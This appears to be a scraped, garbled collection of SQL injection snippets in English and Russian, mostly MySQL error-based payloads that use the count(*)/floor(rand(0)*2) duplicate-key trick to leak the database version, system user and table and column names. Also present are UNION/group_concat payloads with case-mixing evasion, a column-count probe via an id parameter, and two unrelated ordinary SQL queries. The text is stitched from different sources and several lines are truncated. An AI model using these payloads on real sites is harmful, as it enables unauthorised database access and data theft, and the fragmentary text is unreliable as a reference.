Select char_length(cast('123456789 1' as varchar(10))) from rdb$database.
...1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Имя хоста
mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x; ERROR 1062 (23000)
SELECT DISTINCT CAST(EnglishProductName AS char(10)) AS Name, ListPrice FROM dbo.DimProduct WHERE EnglishProductName LIKE 'Long-Sleeve Logo Jersey, M'
SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'. Цель тут простая найти способ ,сделать вывод об отчете об ошибках,другими словами мы должны динамически передать подстроку в ошибку...
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x726174696e6773 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a).
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema. Method for MySQL >= 4.1. First extract the column number with. ?id=(1)and(SELECT * from db.users)=(1) -- Operand should contain 4 column(s).
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)